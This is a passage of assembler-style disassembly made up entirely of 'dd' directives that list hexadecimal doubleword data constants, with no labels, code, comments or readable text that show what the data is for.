15103302h, 5CDBD7CAh, 9D024C5h dd 0A9732EC5h, 0A8B52Dh, 65116F18h, 8018330h, 0CFCBD381h dd 342E5B5Fh, 0C47BACADh, 9EEE26B3h, 0FCE08017h, 5ACA9805h dd 4BD9ECDCh, 9801D7CCh, 27024EF5h, 0C1384948h, 0CC95BF0Fh dd 0D29DA00Dh, 21964F5Ah, 0C8A06EE4h, 504F5C20h, 3D005EA2h dd 0CA8A47ABh, 0F9009356h, 84235FCBh, 9D83D1E8h, 38378D10h dd 4068639h, 0B3492C34h, 965F3481h, 3BB9842Dh, 0BB796D1h dd 13AEDC47h, 9BF2D28h, 4D9F0872h, 31827F71h, 5703B59Dh dd 2E44511Ch, 80DA058Bh, 0F096B2CBh, 6F45A307h, 11A33Ah dd 0D928764Dh, 3A2D37FEh, 72340DB0h, 0F4238734h, 95C8B42Ch dd 0C5461D41h, 0A8BD9FA4h dd 0E010C80h, 902F7F4Ch, 12215EACh, 567CB3D2h, 0B5A5F08Bh dd 4B02148Bh, 2B8154F9h, 440601BDh, 5A6DAD33h, 0D3122417h dd 658857B2h, 1BA9B541h, 8F9A4B0Eh, 67455D80h, 0CA0D1209h dd 0FF698D29h, 5C718502h, 27C61C8Ah, 26DE47DCh, 8AD7D8Ch dd 93A0F09h, 5C233985h, 0B5F5DA0Ah, 7EA40377h, 0AE807C86h dd 4B7AC5Fh, 0E90331F9h, 3C97F2FFh, 154BF116h, 269A58Dh dd 34E23FA9h, 0A71E1270h, 0E3B2E0h, 0C9B02946h, 4525CFh dd 53AD2E7Fh, 7AC42C41h, 81B51897h, 641805EFh, 0AD903716h dd 50D8C782h, 8D9FA37h, 0F912F99Eh, 0ED5EAAEDh, 5AAABCECh dd 293AE0CCh, 5959983h, 3AD0A52Ah, 0AAD2C39Bh, 1B051112h dd 21FB1D91h, 3DE8AB4Dh, 163ABCCCh, 0C8D2514Bh, 0C904017Bh dd 0E6FAF6Eh, 6E4B2CBCh, 0EE97093Fh, 3A627823h, 86A75290h dd 505B6098h, 0B8E179F9h, 0F6C401A8h, 0E8465B27h, 0D0B268B3h dd 1B1510E1h, 0E54F9890h, 4D77E29Eh, 4532E0C5h, 0F8518B86h dd 7AD46BE6h, 805A2AABh, 4948A1B0h, 4F3804E6h, 8196026Ch dd 41FB99Eh, 0ADD383B9h, 0E3A85Eh, 274AA3EFh, 0FF0CC9BFh dd 3B6ED15Bh, 0FAF44A00h, 9FBB0E4Eh, 6026EB14h, 56512AFh dd 868895F3h, 9F7B58AFh, 89D370CAh, 165588h, 81026A61h dd 5618A9C3h, 1D1E5BD6h, 0F564951Eh, 0F4FB709h, 0F85131h dd 0D869961Bh, 0F6032536h, 0B521A966h, 15A5B8EFh, 0E07B178Dh dd 780D04DDh, 0D100AB88h, 0E769BB50h, 90682523h, 0D00716B7h dd 8F00A32Dh, 2C89BCDDh, 92B52FBh, 0A75C1FF9h, 7227E9E8h dd 53E92596h, 0B1C2A771h, 9AF709ABh, 17047C94h, 790B01F2h dd 2F43F52Dh, 15DA9D74h, 9005D6CFh, 0FBA33556h, 0AF364BC0h dd 3B670087h, 53DF1DCAh, 350307BBh, 475AC8A3h, 0A8BC8C5Fh dd 90F94D02h, 6A759589h, 4DB6FF09h, 1DCBE9Ch, 5DBF05DBh dd 2F7DC0E3h, 1623596Bh, 162CF05h, 615999BEh, 273C6276h dd 0C0E14DFFh, 0CC57E55h, 2BFD7E8h, 0E0A6B773h, 0BF091943h dd 0E7D0D9F3h, 99BD006Eh, 4D62E3A0h, 0B197DE7Ah, 0DF49FE6Dh dd 0D9B8CAA0h, 50410CCAh, 0FE8B6195h, 3816DA97h, 50C097E3h dd 71E45B16h, 812865BEh, 314A9F8h, 0A7DB131h, 71C947A5h dd 16DC23C5h, 63B821ADh, 6779D9C9h, 0E19D0305h, 3FC136B4h dd 0D2986660h, 20F0883Eh, 5661042Dh, 0D8BF8B7Ah, 0D9445E5Ch dd 2CD18B06h, 1167C309h, 0D18933E9h, 0C970D42Eh, 9085D879h dd 5C821E3Dh, 8853122Fh, 6900C2F7h, 0F1DCA04Ch, 9130C3h dd 73A4F8D2h, 0F781089Ah, 0C168EC03h, 615B5F1Dh, 0A2BF6840h dd 424A2F74h, 65A47D11h, 503DE943h, 69218517h, 925D8D24h dd 49476045h, 0C252A327h, 0C5115E03h, 0E36C431Ch, 0A5F21808h dd 5AFE2086h, 24097383h, 7B2FE7CBh, 310C0805h, 0CD5C1025h dd 6A060012h, 0B0B4619Fh, 992F8589h, 314A7918h, 6A330512h dd 0B92F7DB7h, 5BAFF0FEh, 5F3870B0h, 0B3E3365Bh, 95DDD34Ah dd 0CA2C04CAh, 3DC10CEBh, 0F70EC02Bh, 0A6E5293Bh, 21180D2h dd 0CF4ACD58h, 0D0C15FA8h, 946F9D89h, 5A69ADEEh, 12BCEEEDh dd 8766D1Ch, 0CE96A4C9h, 176DB7D6h, 0B529614Eh, 2D2E25CDh dd 266A7F4Fh, 73609A00h, 14B8E316h, 4B8A7B4Bh, 26C380C0h dd 0B725FA8Ah, 1327C5F3h, 0A1A770h, 0AB618C5Fh, 0E052D72Bh dd 86BB3BA4h, 9A364700h, 0D10306FDh, 0DD6E1095h, 656D079Bh dd 0E0DB2344h, 0A3677F54h, 78DA4201h, 6160BA2Ah, 252BAD21h dd 8C8EEC56h, 4C5B4A2h, 9D0B5F45h, 5BCBB0FDh, 0F3E1897h dd 0D750A28Fh, 5BC9C690h, 6A67D001h, 0E9401566h, 7CB8DB20h dd 0E1FF000Eh, 4DC8DB81h, 14973036h, 5292050h, 0C5FB8B25h dd 1F351A51h, 3CB75Fh, 9286BCA4h, 0EB0BE2A0h, 840B7D1Bh dd 5049087Ch, 0B1C5C24h, 1311D45Fh, 0B3F6E819h, 0BF34BC86h dd 0DA00BC6Ah, 0E35BB2FEh, 58198CBFh, 95701AECh, 0BE605574h dd 0B901DC4Eh, 1A7B6F82h, 61343DD1h, 0B1EAD2F7h, 7EC93A9Fh dd 261ACB7Fh, 0B9088856h, 957F3F0Eh, 0F29FD1E4h, 7CB7000Ah dd 62B01C43h, 5A3B5DCCh, 219989BAh, 88A07005h, 0D4B91Ah dd 93D0E77Fh, 0C8A130B3h, 97379800h, 1D2CE819h, 91249701h dd 0A0DEBE1Fh, 0A562CBC0h, 5712FBACh, 602CDD4h, 5513ED85h dd 9D76C314h, 6E9C1B4Bh, 0F503FFCh, 566042DBh, 0BCD65F52h dd 50DC5B69h, 0FC13C79Fh, 2E7B922h, 60BF0BA1h, 8409559h dd 38EC0268h, 0D88B03B9h, 1307A854h, 8B99A63Bh, 0AFBD74F1h dd 27D339Ah, 5CED8DD1h, 0F7EF2F0Bh, 1F36F260h, 9497000Ch dd 8EABBE2Ah, 0E91CDE8Ah, 0D42702A8h, 6000DEF1h, 18E01078h dd 0B8D20DADh, 27692557h, 0B4C09856h, 0C189B2h, 0D93419DBh dd 14536AE2h, 0B971940Bh, 0C1875670h, 0A2181BDh, 946E4Fh dd 4EA3132Eh, 9F3152D5h, 3AD58642h, 0E0716DA8h, 356E2F1Eh dd 6153401h, 0EFDBD0Bh, 8494BB00h, 0C6168825h, 7A02B35Bh dd 8994405Fh, 0DC359C06h, 3CBC1A04h, 15AEA80Fh, 0AA92AA53h dd 61D94DCDh, 0B6B2D5F2h, 0AE506EF3h, 45460B6Eh, 0FC04D652h dd 3402BAF9h, 0C0B5FFBFh, 27199A7Fh, 10FB6106h, 4A611378h dd 69F3B360h, 816159D8h, 49306EBBh, 3C293A52h, 303B532Fh dd 7D2C48D2h, 8E8DA601h, 0C3FFB9F6h, 0F1FBDCh, 3D0AF920h dd 0F5B73CBh, 4BBF3158h, 0DDE256D5h, 8E1F4E60h, 0B4014FF0h dd 5B6BA8B6h, 0FAF087DAh, 0DCBA091Ah, 98C237D3h, 543832DFh dd 0DFD0407Fh, 3104B26Ch, 61991B07h, 0BB035FE9h, 463B3C74h dd 196007CFh, 0BDA74457h, 0E42F7D5Bh, 14BC0133h, 0DB639D6Fh dd 1005F143h, 4B0DD3Bh, 5F5E565Dh, 57F08861h, 0ECB758EEh dd 0ADC704B2h, 0B85CE83Ah, 0BCDCD1D2h, 0C2804807h, 26299508h dd 0DBB70F00h, 92565390h, 318B964Fh, 0E4C5BFD2h, 0DCCB41ECh dd 2DB8C451h, 85D4703Fh, 611DCC40h, 6A6197CAh, 0B8903990h dd 9A754B16h, 0C017C8F0h, 0F57198E2h, 61A7619Dh, 0B4E9333Fh dd 0FFC3F612h, 0AED2BCE3h, 0F2008B6Bh, 6A737492h, 0C613CA1Ah dd 17898928h, 22021452h, 16D75F53h, 9D307046h, 57D0115Bh dd 0D7ED3F82h, 0F6FEF380h, 21E928C2h, 23047F8Ah, 0EEDCB80Dh dd 0E198E696h, 3B385C22h, 540A616h, 0AE0975D7h, 0D6C93738h dd 1B47B05Dh, 2B8F9C97h, 0DBCB03B6h, 3B59E212h, 0AA79A8h dd 0A62CE19h, 1675E848h, 0C2935377h, 0F60C3226h, 29F125C3h dd 9295C1C6h, 3A377F2Fh, 647801BDh, 0CB81FC8Ah, 4BC254E8h dd 1D88D2Fh, 41FB1A0h, 1D25B904h, 441FFD13h, 912BDDC7h dd 91288401h, 0CE9521E2h, 77CBC462h, 898EB9D3h, 0B2D7CBFh dd 0A9D33165h, 17B6E6D0h, 0A12BE780h, 80532BACh, 0BAA5EAB7h dd 0B8802261h, 0F94AB339h, 0EBE85Bh, 1E36B3F9h, 2A359C9Dh dd 0BE0558B0h, 707655F0h, 18C79201h, 952B6163h, 0F616BB5Fh dd 8211AFA9h, 9EE15E03h, 0CC78342Bh, 87090D42h, 78F37715h dd 5F0F40C7h, 57891A97h, 7C2FE341h, 1D089E3Fh, 0D8743233h dd 8509EBB0h, 1613D120h, 0ACA9BB66h, 31AD1245h, 7BA7AFEh dd 0D3883301h, 528BE570h, 7F7E48ACh, 132EE110h, 1CA35096h dd 8B704B58h, 0E229E6F5h, 16DB7C50h, 0A3BFAC39h, 0CD1A1053h dd 315F0F12h, 9684D68Dh, 0BFC071ACh, 42FBC69Ch, 5BEB8012h dd 0EC9373E2h, 6EAE4AACh, 5F0170F3h, 0BD03594Eh, 0ED2A2799h dd 0EFBB1CC9h, 0FA57B789h, 707CBB41h, 270608E0h, 1A79BD89h dd 0EF801660h, 0F3AA3059h dd 8E15EB87h, 81928CC4h, 15F98D29h, 0BC87752Eh, 0AB868097h dd 1D696636h, 85C9B988h, 255DE1A4h, 0DD370423h, 0D177B90Dh dd 12E6BC98h, 45C9112h, 0B80E4D1Eh, 2993E296h, 2F90100Bh dd 0ECF01E3Dh, 0A27FA900h, 3862A4F9h, 0AA47008Bh, 0AB5AD43Eh dd 3A97DF4Ah, 0D4277CABh, 0B04A920Ch, 2FC10CA0h, 0BDE4D74Dh dd 2F1D9A00h, 2A212437h, 5BB13B9h, 1427A02Dh, 0F5FFD09h dd 0D4664A8Dh, 0C69EC3B1h, 4CDBAA85h, 0EA5501C0h, 0E5AE8DBh dd 0B52797A0h, 17E4CE6Fh, 0BABB067h, 9F5AE99Bh, 0B629CBB1h dd 0DD0B9EB8h, 78F94A75h, 8B2E4086h, 4F92C14Dh, 0A6D254E9h dd 926A041h, 0C45500E3h, 90C59C4Dh, 5007DE8Ah, 5FF98B57h dd 0C1E8ED8Bh, 20FE31EBh, 2551ED4Fh, 2E362150h, 16BB3D25h dd 0F85ABDFEh, 94DA02B6h, 0F275F5AFh, 0BABB8882h, 0F88A0EC0h dd 0ED920997h, 601C0CDh, 4605DC1Fh, 17FD9D2Bh, 410D1AF4h dd 16B77C05h, 0E84E09Ah, 6232CCEBh, 227D9000h, 15980630h dd 0E3650602h, 9089C4D1h, 98800F2Fh, 609ECF9Bh, 0BD291A32h dd 1697224Dh, 58C09B62h, 380147B9h, 7E6914B6h, 0D239E371h dd 0B921C9C4h, 7856C967h, 0E45F4A0Eh, 2341FDB9h, 0EFDBAC84h dd 0A229B89Ah, 0B2022971h, 9FD5241Dh, 891491ADh, 3FD164B8h dd 2FF3697Ah, 215122BFh, 0EBB35005h, 0BF5BE49h, 0BE29D528h dd 5D93D494h, 39A7C958h, 87051FA5h, 0C139F8BDh, 12C21F3h dd 8E2B54E9h, 0BAC51EF4h, 78DC5BA5h, 0B7971B86h, 0EF4889E9h dd 1AF1B802h, 0AF706555h, 0A2006935h, 685F3AFh, 0FBC427DBh dd 0BA1FA5E4h, 94C04DA9h, 2DF557E2h, 939E00F6h, 0F781E061h dd 2900FD6Ch, 99BF5F24h, 9C09B0A7h, 46D838C3h, 30A85B27h dd 3D67A4DFh, 7A5389CBh, 6E02917Ah, 0DB37EC48h, 94998685h dd 0A479AC5Fh, 9226ABFh, 0A7C29E97h, 5CF9C9C5h, 0CECD5AD5h dd 95D3560h, 4B3D4ABDh, 8F53FFB3h, 3E27DC70h, 0F68E7651h dd 0BB606F47h, 67418783h, 0BE76B0A2h, 0C922FD0Bh, 5D6D357Fh dd 4A4CF25Ah, 0C82A62D9h, 0C6B5879Ah, 0B0FA2D93h, 2C4D0340h dd 9870E680h, 24AB55Dh, 0BF136056h, 0BA623EEh, 0BDD14D5Eh dd 132EFBB7h, 0B530BA4Fh, 4A398D09h, 59C0E604h, 0C157409Eh dd 0A624B2D6h, 0D06754ACh, 0B35C0995h, 8FD8A42h, 26410CD8h dd 7AC5D13Dh, 2E47E9DFh, 0A608799Dh, 0FC331A7h, 16227E81h dd 28C3200Eh, 0ED00427Ch, 35B7EF97h, 75B2953h, 0D78032F0h dd 9D3160BFh, 12970F19h, 4B0DDE78h, 6A2510F5h, 4A1B0542h dd 0F205CBAFh, 94F00096h, 2EF86C4Dh, 78060010h, 0A41EBF46h dd 260D8BC9h, 585F5D0Dh, 0D21CCC6Ah, 60199F00h, 621142F8h dd 4F60063h, 48BC66E3h, 1EE6201Ah, 60983A97h, 0A58AB3Ch dd 3AE9747Ah, 24C562B7h, 3312DD29h, 0B9319524h, 9E1F8892h dd 16A594F9h, 0B5C9FE28h, 95B2534Bh, 7404AC93h, 3075226Bh dd 41A1DCAAh, 28D45C82h, 86539583h, 3A181659h, 0B9B84805h dd 0F72108AAh, 0D9131595h, 0A4FCC829h, 0A3FBE880h, 8AB676h dd 0CF26AD93h, 5B9EEE38h, 0D7694F02h, 0EDFCCC70h, 5EA1EF2Ah dd 4185661Ah, 6A1F8DB2h, 8B53E2D9h, 7BFA85BAh, 896A021Fh dd 503E32A9h, 0B6245A6Fh, 0CBB7C4F2h, 0CDC389DBh, 0D2AC0F05h dd 0F15C5B2Fh, 6D8C044Bh, 818060EEh, 0BA1224F3h, 0B7E64E60h dd 0C53018B2h, 689F4CDEh, 604CCD5Ah, 2960F1D5h, 0AE5CDF71h dd 0E24E4A71h, 2BB6F411h, 4B11BDA0h, 0C0FCCD95h, 0F1C2A27Eh dd 0D100C975h, 0E781EB59h, 135E6EBBh, 0EABD0316h, 0DE24B52h dd 7E48768Dh, 56F011F6h, 0F20B8067h, 7EAF2F85h, 0AAAF24F4h dd 68BD9546h, 60970801h, 0FA201096h, 0B0558AD5h, 9CADBD55h dd 0E1FF09A1h, 1500EA51h, 0BC2B92B3h, 0DAB850DFh, 6D58249Fh dd 91A00952h, 5B421379h, 0D2010704h, 1CD7126Dh, 27636941h dd 0C8C0D9CDh, 0B634C0h, 0BD2B1928h, 9D0BACB4h, 0BC061D20h dd 0CC52534h, 0EC25F21Dh, 5B4B0089h, 0E2798BFAh, 0CB28BECAh dd 67000EE9h, 4729E77Eh, 27AFC2A8h, 0E1E25F93h, 82953D72h dd 5C01B7DCh, 90D427AFh, 55B60269h, 0B5C52E2Bh, 2633AE2Eh dd 0BE8D85FBh, 0A697D97Ch, 12C4F395h, 0B8097D9Ah, 0CC8FA20Dh dd 973D6BDBh, 3413BDF0h, 33BA5024h, 94006062h, 0D6EB9F7h dd 7612E51h, 0AF27BB90h, 0B96AF5B5h, 1E9BC86h, 3A754D3Fh dd 3B8596DFh, 3720D000h, 0E46C2968h, 48B72FDBh, 0D61D8FF8h dd 0B727F597h, 0C1E90029h, 317B9C3Bh, 0DF507BB8h, 84BCD90h dd 5AF9C19Ch, 1000A689h, 0E9092629h, 90DB024Eh, 6DC87D0h dd 0BC068C2Eh, 0A12D66E8h, 0B1D25B1Ch, 2E244998h, 880F8671h dd 0BF36253Fh, 418A5F16h, 73C26125h, 0B0773B77h, 12840CEh dd 5E7E2CF3h, 0EF0C2F4Ch, 0FAA286A0h, 0A3C9EC04h, 60B9DF8Bh dd 7D8C15ACh, 0F5C6C6CEh, 0BD31DF0Ah, 689D309h, 0E1F01476h dd 58CEE9A5h, 16A73325h, 0D0B62935h, 1CA98D9Dh, 2A6C1397h dd 0B5E3DD12h, 0F45C6246h, 0C77B0387h, 0C18D0408h, 2CD0AC97h dd 782E09D0h, 19A5250h, 0B1BF40DDh, 2288024Ch, 310FEBCDh dd 585A2E60h, 9FA25398h, 23B77Dh, 6C209B7h, 0D5092D9Ah dd 0A2B2993Fh, 57B5FF5Ch, 4702DB3Fh, 6040BC1Eh, 841BC98Ah dd 7668DF07h, 2A9588Eh, 2E028929h, 0F2D461E9h, 0C100D54Bh dd 0AAE69B80h, 5A3BD701h, 616B7FA8h, 0B06B103Ah, 0E31B4712h dd 61705025h, 38BF1D40h, 0A25307Ah, 37952AC4h, 687B82B9h dd 0A36BB4DFh, 990CF27h, 3A9AD15Eh, 46487880h, 4C40120Fh dd 6630E902h, 707CEEBFh, 0C31C86Eh, 0DB8A0E80h, 2CCF348h dd 0FDE3F1FCh, 8471FE55h, 0DF366225h, 5D049237h, 2AAE889Eh dd 0E1BC8B27h, 5700019Eh, 0C127CF80h, 23A0415Fh, 0E2D6103h dd 59DC0935h, 8635EB3Dh, 3A3C5985h, 190C02FBh, 12551B8Ch dd 78E8753Eh, 1709F361h, 598DAA94h, 93A4770h, 863DDDh dd 34B0FEE8h, 3627A026h, 101456FDh, 27E9130Bh, 0F34D1688h dd 9FDF8100h, 2316D412h, 4FBA45E3h, 0D10B2D6Ah, 55021FA1h dd 3002FF5h, 972A59BDh, 8725471Ch, 35EBD04h, 0E6A1A659h dd 80E78180h, 7028AA13h, 0D252DB8h, 4E0B6DC7h, 0C023D404h dd 10D8237h, 0F03D3Fh, 0D76BD4B5h, 7D1C6792h, 0E3F301B4h dd 6ED5D3BFh, 0D6D37C21h, 0EDD324ADh, 40A1A87Ch, 354B5DFFh dd 0BF345D9Dh, 15CE951Fh, 0A5B795h, 4B2E3588h, 0A30977C5h dd 8ECDFB92h, 4D8197BDh, 1B657CD2h, 0E50BE62Ah, 90466FB9h dd 0ABFE8A12h, 18236E6Bh, 2DC57025h, 6F28675h, 37D5918Ah dd 9CA3800Eh, 0EDAF7C43h, 57B6E217h, 0C7D075ACh, 4AB4A25Bh dd 19C8BDDAh, 89FAD2C5h, 0A55C89F4h, 0E8415C01h, 9F525F5h dd 0D62C567Ah, 0AC1F1A46h, 3B78402Ch, 0B531E7C5h, 8587ED48h dd 0F0B604C2h, 0DA2134E0h, 0D7A22506h, 5CB4C943h, 50806D61h dd 51952920h, 0E1B20B5Ah, 0AC10EDD6h, 9FAE0140h, 36F1D905h dd 0B057E69Ch, 4BBD8592h, 0D534BE15h, 0FA7912BFh, 1DCF898h dd 9509CDD7h, 2BE403E1h, 0AB637E99h, 0A3E72807h, 2E540C2h dd 0BCC94415h, 7F6A12F8h, 3603613Dh, 9082B891h, 1789751Dh dd 0DD303595h, 1644443Fh, 3600846h, 508091ACh, 4BBAAEBBh dd 93D5923Ah, 0C01078D2h, 0D9E02C50h, 0F29C2E4Bh, 4B11F831h dd 6BEA9D0Ah, 258DADD8h, 61711EF1h, 964B4EC4h, 0B47E6C89h dd 68647C5Ah, 46B70B0Eh, 0ACD46E93h, 59608BFDh, 72030288h dd 540C207h, 558A1385h dd 6D004F44h, 0F72E69E4h, 5B38893h, 9E666597h, 6D17BA43h dd 4A0FC2B0h, 0B281E62Ah, 0A7743016h, 0F18DE64Bh, 0C1C1647Ah dd 9C163D82h, 95228D1Bh, 1CC4BF6Dh, 98544E60h, 0DFCF2302h dd 886FE9D5h, 932812CFh, 30515682h, 8AE67B00h, 9C4123h dd 0B32535B9h, 7C74E5A2h, 5B3AEE00h, 0DA7BEF81h, 0C22AF35Eh dd 405E17FBh, 0D4157C5Ah, 560F4A00h, 16361B0Eh, 90240148h dd 63AD25BBh, 45292F28h, 0EA8C943Bh, 1C80219Bh, 0F6500DEBh dd 957EF09Fh, 0D548DB51h, 8A0E0211h, 0AF12C6DDh, 0D4D066C9h dd 57250051h, 0EA2990CEh, 1E974CA7h, 0D4139EF9h, 0EC99B100h dd 0A0744976h, 0A4D60234h, 18D1BD01h, 5E0FE902h, 7A4E2B05h dd 8B9661FDh, 969DB17Ch, 1A9E88C1h, 1500C6EEh, 0FB44FD20h dd 46CAE8Fh, 1E8DB653h, 0CB15BCEAh, 89B1C290h, 0D56F55CAh dd 1F1BE425h, 474128CEh, 0F3A4B94Dh, 37C00C91h, 7D019F16h dd 6BA23167h, 9B6A5F15h, 1AB2C4DFh, 0AF000CE2h, 5019EFF9h dd 5F012C62h, 87073DAh, 6F3F6AD7h, 4F831F63h, 0C09C3954h dd 0E622A387h, 0B8F10003h, 0CFC593E2h, 6F0B4461h, 536ABD8Dh dd 0BE7478A6h, 272FCD01h, 3DE09B0Ah, 0F3C1A03Bh, 0C8FC0628h dd 7BCB7D25h, 9721D00Fh, 80B3533Fh, 0FF2E4DCFh, 4F852931h dd 0E15A12F1h, 0B8ED6D7Eh, 293016ABh, 916B0E57h, 0E45F2510h dd 2B420770h, 906CEA4Ch, 0CD013D58h, 0FCD4C802h, 489055B9h dd 0ED07B32Fh, 81569B3Ah, 4C015A8Ah, 64EDE03h, 77CAF9F1h dd 7A960AB7h, 18159004h, 0AFB4ADBCh, 6004246Ah, 0ABF780D2h dd 0F50F5C98h, 88C5276Eh, 6BEDF80h, 17A7B98Eh, 0BD1FF55h dd 635E41ADh, 0BDB9787Ah, 0C9961537h, 2E03E882h, 92FABFC7h dd 90E50E86h, 0DB524800h, 0A8ABB0h, 6A82C006h, 0D5BF6002h dd 2BBB590Eh, 0D74F6266h, 2EE2D861h, 1D5C81DDh, 1E0092Fh dd 9BE15BEDh, 0E830ED10h, 0ED195AD9h, 952B8017h, 5DE56A84h dd 1396A74Ch, 0E9CB9153h, 0C2382F55h, 66CB4087h, 4A8FBF48h dd 3B3F2A6Eh, 350C2501h, 895CBA9Ah, 7B18797Ch, 84F5A5AEh dd 0F1AEC31Ch, 746E6F13h, 0E7467000h, 8BC13EE1h, 31ECFB5Eh dd 4D371EC0h, 0A7FC5D7Dh, 8C602D00h, 0C60CC030h, 3503258Ah dd 352D9EE5h, 0B50A0FADh, 9806D3A0h, 9497667Ch, 5883939Bh dd 5F1C4F21h, 33025787h, 5EC53559h, 7E2BE89Bh, 7127BC07h dd 7260EBCAh, 90AA99C7h, 254525EFh, 467EC35Ch, 0B1007E18h dd 0BF942BCAh, 5C6C7274h, 8113EF40h, 127AEA15h, 0F6F5A612h dd 131E21ADh, 404E38Ah, 0B04067E3h, 14D58502h, 4070E602h dd 387C80BAh, 0B8CA5F33h, 858904ADh, 0C21F2341h, 43295537h dd 0EB099157h, 6AEF8110h, 5844C17Eh, 277743B3h, 572AEAFCh dd 6495EA50h, 40B30057h, 33870BE7h, 5F1C9E36h, 0E2A5E380h dd 4F7BF4B3h, 4A549040h, 0CA3CD6A2h, 366C00AAh, 0E5AF4421h dd 0BA716BFh, 42A2C8C7h, 3EBC7C07h, 8DA1E9F6h, 0A07BFD2Ah dd 5B811636h, 36A457C6h, 76E68053h, 31095F52h, 0FD072985h dd 0D1558832h, 33BB02F6h, 11503081h, 0B283297Eh, 6EA1D7FBh dd 0D02C5BDh, 4E7D7430h, 0C84CB81Ch, 0AB06A518h, 42457104h dd 0B8BA166Bh, 169D22D8h, 0BB615853h, 0BD948C34h, 15051D81h dd 1D9C622Fh, 0B5597C2Ch, 4A5E125h, 1F8BFE1Eh, 0D38161E8h dd 9A672FFBh, 0F7E84CE2h, 51806837h, 0ABAE947Bh, 0BC174E5Eh dd 0F30B2576h, 0AA1A12CFh, 6A4EC0CAh, 95F85F37h, 0BB0EB602h dd 8B821930h, 0B9012691h, 0F62A0848h, 0A87E0085h, 0CA39EAE3h dd 0F66E9DA3h, 980A120Ah, 0CD25A809h, 85FBE2C7h, 5205DD41h dd 0CD7DFCD4h, 3AA8E06Fh, 8274F94h, 6091E21Ch, 9C870F77h dd 0D0644C7Ah, 679B2A0h, 0A4F95B95h, 97B0A25Fh, 37FF00A9h dd 225F8366h, 0B398FECAh, 0DC1E3631h, 56D7CF80h, 82B9CC16h dd 0A33EE6E4h, 1648FB7Dh, 0DE07C9D8h, 5ADA800Ah, 9453F31h dd 22DBD0Bh, 0D3521B74h, 63E55092h, 86E82300h, 7C2D4B36h dd 2EDE8111h, 16C8219Ah, 0FEC44DC5h, 0BD4F66BDh, 0BAE8FCh dd 8D62A347h, 188C0F12h, 74E0F59Ch, 0FDCEFAh, 59CC3E52h dd 0EEBABC18h, 3F84881Eh, 4A92ECAAh, 79F0599Dh, 2E9D2E30h dd 8057FC2Fh, 140AE6FBh, 0F0042E8Dh, 3FF10203h, 4CE6B905h dd 6091739Dh, 2FD59D81h, 0E514419Dh, 2FA00DFAh, 0D5606628h dd 8CBC4051h, 0B897661Ch, 60404F2Fh, 68488ADDh, 6773BF04h dd 5AE869ACh, 0B53160C1h, 82406BC5h, 0FF61C68Bh, 25D098E1h dd 0B15E0245h, 0C214DC71h, 442B134Fh, 0C485006Dh, 5A880FDh dd 0DE02F8FCh, 0E7183AD4h, 516374D3h, 14C80FD1h, 0D1818BC4h dd 56022D59h, 0F81FC8C1h, 149D5B6Ah, 465255Eh, 4D4045EFh dd 16C8FA46h, 0E394660Bh, 0BD090438h, 60011F21h, 0FA3D9D0Bh dd 7725B2D5h, 0CE7BF4A0h, 89D8B2Ch, 0E90BB47Ch, 0D4CF5E1Fh dd 87001A46h, 0FAAEB506h, 0C0979360h, 7BF1A575h, 29CD2789h dd 502F9B46h, 0D072FB01h, 4B49E240h, 5DC55ECAh, 23D56BAEh dd 0A30C1314h, 0BC5B49B6h, 0E6082D69h, 0F134435Ch, 5BDAC1BFh dd 4A602CCFh, 17E0BDF6h, 0A80285B5h, 0F85C6390h, 109B5EBEh dd 0BD2F732Bh, 0F6BB9241h, 3BD141DDh, 0BFFFFC8Ch, 6B655704h dd 29AE5F62h, 8AECFCB4h, 0B0766331h, 0CA6BF98Bh, 28C862C6h dd 0F80AC4E6h, 0E6584EF8h, 8F0FE022h, 173B0172h, 5C15AA6Ch dd 0B2342E2Ah, 81C075E8h, 0A74552F3h, 425CE1A2h, 4BF38ED4h dd 8726FA94h, 0F59200Ch, 23FE912h, 308984ACh, 0DEA3F0D3h dd 1E54278h, 7DA2DBD4h, 2B04BF8Ch, 0A39632E8h, 0D7862D0h dd 0EC207620h, 244B31A6h, 0F6D685A2h, 0AADBA05Bh, 22CE00Ah dd 8FCC74F5h, 95D7D98Ah, 0F8BC42D9h, 23312560h, 7E189A9Dh dd 1B04D440h, 0D0C1FC3Ch, 0A64BEB8Ah, 0E08AA279h, 16BC3A72h dd 0ECF5CDDCh, 2E844E7Eh, 120E6EAAh, 0E3FC4D4Fh, 0FAB90B80h dd 5A51D351h, 0CEE26EE6h, 5688FF92h, 9D33125Fh, 962E4985h dd 9E82AA02h, 0E328274h, 7182DDDBh, 9605F6B3h, 0BC0149Bh dd 6346E4A4h, 55147A25h, 4C743A1Ah, 40F7586Bh, 567D6814h dd 51706B27h, 0A50B8072h, 0D2FD4EFBh, 0F61EC3Ch, 22A8C329h dd 69B63F4Ch, 0F3B5F18h, 7424A928h, 0DDDBEB70h, 0C56A6480h dd 96274A70h, 0F63FC27Ah, 0AC5C2708h, 11B46D6h, 6B4F8DA1h dd 74E4EF40h, 20534A50h, 34A2F003h, 8649A800h, 7C8344C5h dd 0D095016Fh, 53316951h, 14E13E5Fh, 6E3EE321h, 96958EDh dd 0FB12AD8Dh, 5D18B15Dh, 1610132h, 8F4E3578h, 0BB660403h dd 12AEC472h, 8DDAE277h, 847B2934h, 0E9A0468Fh, 37BF1744h dd 1DFE0166h, 0FC830CEBh, 294BD2B1h, 0E35AF1E8h, 9D09BBF2h dd 71BD1CB9h, 9BB3B484h, 0CEA7CBE8h, 377AAB93h, 9BF0FA00h dd 339E9636h, 0BC21604Fh, 26DC7AB6h, 57B10203h, 23ABB93Ah dd 0FC859152h, 607B7098h, 0EBD10CBFh, 0C12E3A22h, 10A3B295h dd 923A31h, 3071EDCCh, 6A830A3Fh, 0BFD4189Dh, 4E057B1Bh dd 81258C03h, 0BBBCEF04h, 71AF4912h, 21E65F3h, 444E650h dd 7D4E7B03h, 8A72C180h, 0BA343F62h, 69C762DAh, 657CD048h dd 68179EBDh, 228260A8h, 1C84090Ah, 616BD209h, 555F5Ch dd 0BF770F51h, 84314A5Ah, 2099E81Dh, 0AD4B9D2Eh, 0A5E77618h dd 0B350BDE5h, 0BAEE07FCh, 72D13848h, 0B174DA8Bh, 9717D86Bh dd 0EB808D98h, 0F723D373h, 23D1278Ah, 41A50901h, 3A8C0Eh dd 0ED51BF6Fh, 99D30ADh dd 9F0F374Bh, 0B76AF8Eh, 5B52960h, 6E169D2Fh, 0D760BCADh dd 4EF58D09h, 44469D29h, 0AEB7BB7Bh, 9A0A4400h, 60B25519h dd 296EDB0Ch, 95FC7C28h, 7B2D0ECh, 5AF75F4Fh, 4E09F110h dd 4470F681h, 9120FA15h, 7488D474h, 5D5B003Ah, 4FD093DFh dd 15054294h, 79CD3804h, 0C1A38Ch, 